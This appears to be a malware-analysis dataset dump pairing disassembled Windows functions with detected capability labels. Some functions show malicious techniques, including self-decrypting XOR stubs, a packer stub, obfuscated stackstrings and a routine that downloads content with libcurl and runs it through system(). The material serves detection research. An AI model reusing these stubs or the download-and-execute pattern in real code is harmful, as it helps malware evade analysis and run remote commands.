joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4737b1
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0047372d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x473920
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x473920
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4738d5
jg 0x47380d
test eax, eax
je 0x4738cb
push 1
push 0x1000
call fcn.00464f07
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x473830
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4738c2
push 0x8000
push ebx
call fcn.004627b2
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x473859
jg 0x473854
cmp ecx, 0x1000
jb 0x473859
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0047260c
add esp, 0x10
cmp eax, 0xffffffff
je 0x47389e
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x473854
jl 0x473885
test ecx, ecx
jne 0x473846
push dword [ebp - 0xc]
push ebx
call fcn.004627b2
push esi
call fcn.00464f64
add esp, 0xc
xor ebx, ebx
jmp 0x47392e
cmp byte [edi + 0x24], 0
je 0x4738b5
cmp dword [edi + 0x20], 5
jne 0x4738b5
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4738c0
mov ebx, dword [edi + 0x18]
jmp 0x4738c2
xor ebx, ebx
push esi
call fcn.00464f64
pop ecx
jmp 0x47392e
test ecx, ecx
jg 0x473897
jl 0x4738d5
test eax, eax
jae 0x473897
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00468fef
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4738f5
cmp byte [edi + 0x1c], 0
je 0x473897
jmp 0x473926
push ebx
call fcn.0046aafb
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x473897
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x47392e
cmp byte [edi + 0x1c], 0
je 0x47392b
mov ebx, dword [edi + 0x18]
jmp 0x47392e
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00468fef
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cbc7
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
mov eax, 0x41a2f8
call fcn.00413724
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 8
mov dword [esi], 0x41b69c
mov dword [ebp - 4], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 1
mov dword [esi + 0x14], 0x41b754
push 4
mov ebx, 0x41b68c
pop eax
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], eax
mov dword [esi + 0x28], ebx
lea ecx, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call fcn.00403291
mov dword [esi + 0x3c], 0x41b804
push 4
mov dword [esi + 0x54], edi
pop eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], eax
mov dword [esi + 0x50], ebx
lea edi, [esi + 0x64]
push eax
mov ecx, edi
mov byte [ebp - 4], al
call fcn.00403291
mov dword [edi], 0x41b80c
lea edi, [esi + 0x78]
mov byte [ebp - 4], 5
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 6
call fcn.0040c1be
lea edi, [esi + 0xa0]
mov byte [ebp - 4], 7
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 8
call fcn.0040c1be
lea edi, [esi + 0xc8]
mov byte [ebp - 4], 9
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xa
call fcn.0040c1be
mov byte [ebp - 4], 0xb
lea edi, [esi + 0xf0]
mov ecx, edi
mov dword [ebp - 0x14], edi
call fcn.0040b761
lea ecx, [edi + 0x14]
mov byte [ebp - 4], 0xc
call fcn.0040c1be
lea ecx, [esi + 0x118]
mov byte [ebp - 4], 0xd
call fcn.0040c1be
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x412ff0
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call fcn.0041468e
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x413018
xor eax, eax
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x413027
mov eax, 1
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xee37f0
Capabilities:
Encode data using xor

Disassembly:
jmp 0xee37fa
pushal
call 0xee3800
pop ebp
sub ebp, 0x10
sub ebp, 0xae37f0
jmp 0xee3816
mov eax, 0xae37f0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b3
mov edx, 0x3734663a
xor byte [eax], dl
inc eax
dec ecx
jne 0xee382d
jmp 0xee3840
mov cl, 0xf7
mov cl, 0xb3
push es
cmp bh, byte [edx]
cmp bh, byte [ebx + 0x3a3ac2fb]
cmp bh, byte [ecx]
test dword [edx + 0x3a3a3a3c], 0x3a3a1280
cmp cl, ch
fdivr dword [ecx]
mov cl, 0xbb
cmp bh, byte ss:[edx]
cmp bh, byte [ecx]
jmp [edx - 0x49]
Function at 0x10001140
Capabilities:
Check mutex on windows

Disassembly:
push esi
push str.ASUS_ATKOSD2_Mutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000116e
test esi, esi
je 0x1000116a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret
xor ecx, ecx
call fcn.10002e50
test esi, esi
je 0x10001180
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret

Function at 0x10001190
Capabilities:
Check mutex on windows

Disassembly:
push esi
push str.ASUS_ATKOSD2_Mutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100011be
test esi, esi
je 0x100011ba
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret
mov ecx, 1
call fcn.10002e50
test esi, esi
je 0x100011d3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret
Function at 0x100011f0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10029b42
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1005b00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], edx
mov ebx, ecx
cmp dword [0x1005c704], 0
jne 0x1000126a
push 0x1005c704
push 0x10030b0c
push 0
call dword [sym.imp.DWrite.dll_DWriteCreateFactory]
test eax, eax
js 0x100012ed
mov eax, dword [0x1005c704]
push 0x1005c654
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
test eax, eax
js 0x100012ed
push 0x55
push 0x1005c658
push 0x5c
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
cmp ebx, 4
ja 0x10001408
lea esi, [ebx + ebx*4]
mov ecx, dword [esi*4 + 0x1005d7a8]
lea edi, [esi*4 + 0x1005d7a8]
test ecx, ecx
je 0x10001339
cmp dword [esi*4 + 0x1005d7ac], 0
je 0x10001339
cmp dword [esi*4 + 0x1005d7b0], 0
je 0x10001339
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cmp dword [esi*4 + 0x1005d7b4], ebx
jne 0x100012c0
cmp dword [esi*4 + 0x1005d7b8], edi
je 0x100012d6
mov eax, dword [ecx]
push edi
push ebx
push ecx
call dword [eax + 0x28]
mov dword [esi*4 + 0x1005d7b4], ebx
mov dword [esi*4 + 0x1005d7b8], edi
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1005c704]
test ecx, ecx
je 0x10001307
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x1005c704], 0
mov ecx, dword [0x1005c654]
test ecx, ecx
je 0x10001408
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov dword [0x1005c654], 0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, ebx
call fcn.100016e0
mov eax, dword [0x1005c654]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, dword [eax]
push dword [ebp - 0x10]
push eax
call dword [ecx + 0x1c]
test eax, eax
js 0x10001408
mov eax, dword [edi]
mov ecx, dword [eax]
push ecx
mov dword [esp], 0x3f800000
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp + 8]
lea edx, [esi*4 + 0x1005d7ac]
mov dword [esi*4 + 0x1005d7b4], eax
mov eax, dword [ebp + 0xc]
mov dword [esi*4 + 0x1005d7b8], eax
mov eax, dword [0x1005c704]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
js 0x10001401
push 0x1002b362
push 0x10
call fcn.10017d0d
mov edi, eax
add esp, 8
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x100013e9
mov edx, dword [esi*4 + 0x1005d7a8]
mov ecx, dword [esi*4 + 0x1005d7ac]
mov dword [edi], vtable.GdiTextRenderer.0
mov dword [edi + 4], 0
mov dword [edi + 8], edx
mov dword [edi + 0xc], ecx
mov eax, dword [edx]
push edx
call dword [eax + 4]
mov eax, dword [edi + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 4]
jmp 0x100013eb
xor edi, edi
mov dword [ebp - 4], 0xffffffff
mov dword [esi*4 + 0x1005d7b0], edi
test edi, edi
jne 0x100012d6
mov ecx, ebx
call fcn.100016e0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002970
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100029c9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100029c9
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x100029b8
cmp esi, edx
jae 0x100029c9
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x100029a6
cmp esi, edx
jae 0x100029c9
cmp word [esi], 0
je 0x100029c9
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x100037d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push esi
push dword [ebp + 8]
call fcn.100034e1
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x1000380a
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.1000351c
xchg cl, al
and eax, 0xc0458d92
push eax
call fcn.1000352c
push eax
push esi
push dword [ebp + 8]
call fcn.100034e1
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.1000351c
dec eax
cmp cl, dl
pushfd
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.1000352c
push eax
push esi
push dword [ebp + 8]
call fcn.100034e1
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.1000352c
push eax
push esi
push dword [ebp + 8]
call fcn.100034e1
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.1000352c
push eax
push esi
push dword [ebp + 8]
call fcn.100034e1
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.1000351c
stosd dword es:[edi], eax
pop eax
adc ebp, dword [eax + ecx*4 - 0x63]
jl 0x100039a1
invalid
invalid
Function at 0x10008d20
Capabilities:
Parse pe header

Disassembly:
add ecx, 0xffffffdc
cmp ecx, 0x131
ja case.0x10008d36.38
movzx eax, byte [ecx + 0x10009320]
jmp dword [eax*4 + 0x100090c4]
mov eax, 5
ret
mov eax, 6
ret
mov eax, 7
ret
mov eax, 8
ret
mov eax, 0xa
ret
mov eax, 9
ret
mov eax, 0xb
ret
mov eax, 0xc
ret
mov eax, 0xd
ret
mov eax, 0xe
ret
mov eax, 0xf
ret
mov eax, 0x10
ret
mov eax, 0x11
ret
mov eax, 0x12
ret
mov eax, 4
ret
mov eax, 2
ret
mov eax, 1
ret
mov eax, 3
ret
mov eax, 0x13
ret
mov eax, 0x14
ret
mov eax, 0x15
ret
mov eax, 0x16
ret
mov eax, 0x17
ret
mov eax, 0x1a
ret
mov eax, 0x1b
ret
mov eax, 0x18
ret
mov eax, 0x19
ret
mov eax, 0x21
ret
mov eax, 0x2d
ret
mov eax, 0x2e
ret
mov eax, 0x2f
ret
mov eax, 0x30
ret
mov eax, 0x31
ret
mov eax, 0x32
ret
mov eax, 0x33
ret
mov eax, 0x34
ret
mov eax, 0x35
ret
mov eax, 0x36
ret
mov eax, 0x37
ret
mov eax, 0x38
ret
mov eax, 0x39
ret
mov eax, 0x3a
ret
mov eax, 0x3b
ret
mov eax, 0x3c
ret
mov eax, 0x3d
ret
mov eax, 0x3e
ret
mov eax, 0x3f
ret
mov eax, 0x40
ret
mov eax, 0x41
ret
mov eax, 0x42
ret
mov eax, 0x43
ret
mov eax, 0x44
ret
mov eax, 0x45
ret
mov eax, 0x46
ret
mov eax, 0x47
ret
mov eax, 0x48
ret
mov eax, 0x49
ret
mov eax, 0x4a
ret
mov eax, 0x4b
ret
mov eax, 0x4c
ret
mov eax, 0x4d
ret
mov eax, 0x4e
ret
mov eax, 0x20
ret
mov eax, 0x22
ret
mov eax, 0x23
ret
mov eax, 0x4f
ret
mov eax, 0x53
ret
mov eax, 0x54
ret
mov eax, 0x55
ret
mov eax, 0x56
ret
mov eax, 0x57
ret
mov eax, 0x58
ret
mov eax, 0x59
ret
mov eax, 0x50
ret
mov eax, 0x51
ret
mov eax, 0x5a
ret
mov eax, 0x5b
ret
mov eax, 0x5c
ret
mov eax, 0x52
ret
mov eax, 0x5d
ret
mov eax, 0x5e
ret
mov eax, 0x63
ret
mov eax, 0x64
ret
mov eax, 0x65
ret
mov eax, 0x66
ret
mov eax, 0x79
ret
mov eax, 0x7a
ret
mov eax, 0x74
ret
mov eax, 0x75
ret
mov eax, 0x77
ret
mov eax, 0x78
ret
mov eax, 0x76
ret
mov eax, 0x73
ret
mov eax, 0x71
ret
mov eax, 0x72
ret
mov eax, 0x68
ret
mov eax, 0x69
ret
mov eax, 0x83
ret
mov eax, 0x84
ret
mov eax, 0x6c
ret
mov eax, 0x6d
ret
mov eax, 0x6e
ret
mov eax, 0x6f
ret
mov eax, 0x85
ret
mov eax, 0x86
ret
mov eax, 0x87
ret
mov eax, 0x88
ret
mov eax, 0x89
ret
mov eax, 0x8a
ret
mov eax, 0x8b
ret
mov eax, 0x8c
ret
mov eax, 0x8d
ret
mov eax, 0x8e
ret
mov eax, 0x8f
ret
mov eax, 0x90
ret
mov eax, 0x91
ret
mov eax, 0x92
ret
mov eax, 0x93
ret
mov eax, 0x94
ret
mov eax, 0x95
ret
mov eax, 0x96
ret
mov eax, 0x97
ret
mov eax, 0x98
ret
mov eax, 0x99
ret
mov eax, 0x9a
ret
mov eax, 0x9b
ret
mov eax, 0x9c
ret
mov eax, 0x9d
ret
mov eax, 0x9e
ret
mov eax, 0x9f
ret
mov eax, 0x5f
ret
mov eax, 0x60
ret
mov eax, 0x61
ret
mov eax, 0x62
ret
mov eax, 0x67
ret
mov eax, 0x6a
ret
mov eax, 0x6b
ret
mov eax, 0x7b
ret
mov eax, 0x7c
ret
mov eax, 0x7e
ret
mov eax, 0x7d
ret
mov eax, 0x7f
ret
mov eax, 0x80
ret
mov eax, 0x81
ret
mov eax, 0x82
ret
mov eax, 0x2a
ret
mov eax, 0x2b
ret
mov eax, 0x2c
ret
mov eax, 0xa0
ret
mov eax, 0xa1
ret
xor eax, eax
ret
Function at 0x4014c4
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x40
call sym.___main
cmp dword [ebp + 8], 2
je 0x4014ee
mov dword [esp], str.Devi_fornire_esattamente_due_argomenti
call sym._puts
mov eax, 1
jmp 0x40162c
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x38], eax
mov dword [esp + 0x18], 0
mov eax, dword [sym.imp.libcurl.dll_curl_easy_init]
call eax
mov dword [esp + 0x34], eax
cmp dword [esp + 0x34], 0
je 0x401627
mov dword [esp + 0x30], 0x2712
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_setopt]
call eax
mov dword [esp + 0x2c], 0x40
mov dword [esp + 8], 0
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_setopt]
call eax
mov dword [esp + 0x28], 0x51
mov dword [esp + 8], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_setopt]
call eax
mov dword [esp + 0x24], 0x4e2b
mov dword [esp + 8], sym._write_callback
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_setopt]
call eax
mov dword [esp + 0x20], 0x2711
lea eax, [esp + 0x18]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_setopt]
call eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_perform]
call eax
mov dword [esp + 0x1c], eax
cmp dword [esp + 0x1c], 0
jne 0x40160d
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sym._printf
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sym._system
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call sym._free
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [sym.imp.libcurl.dll_curl_easy_cleanup]
call eax
mov eax, 0
leave
ret
Function at 0x401d20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401d6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d64
test esi, esi
je 0x401d64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d40
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f50
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402074
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x401fde
cmp eax, 4
jne 0x402000
test esi, esi
je 0x401ff2
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x401fe4
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x40203f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x402031
cmp ecx, 0x40
je 0x401ff2
cmp ecx, 4
je 0x401ff2
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f50
lea esi, [esi]

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
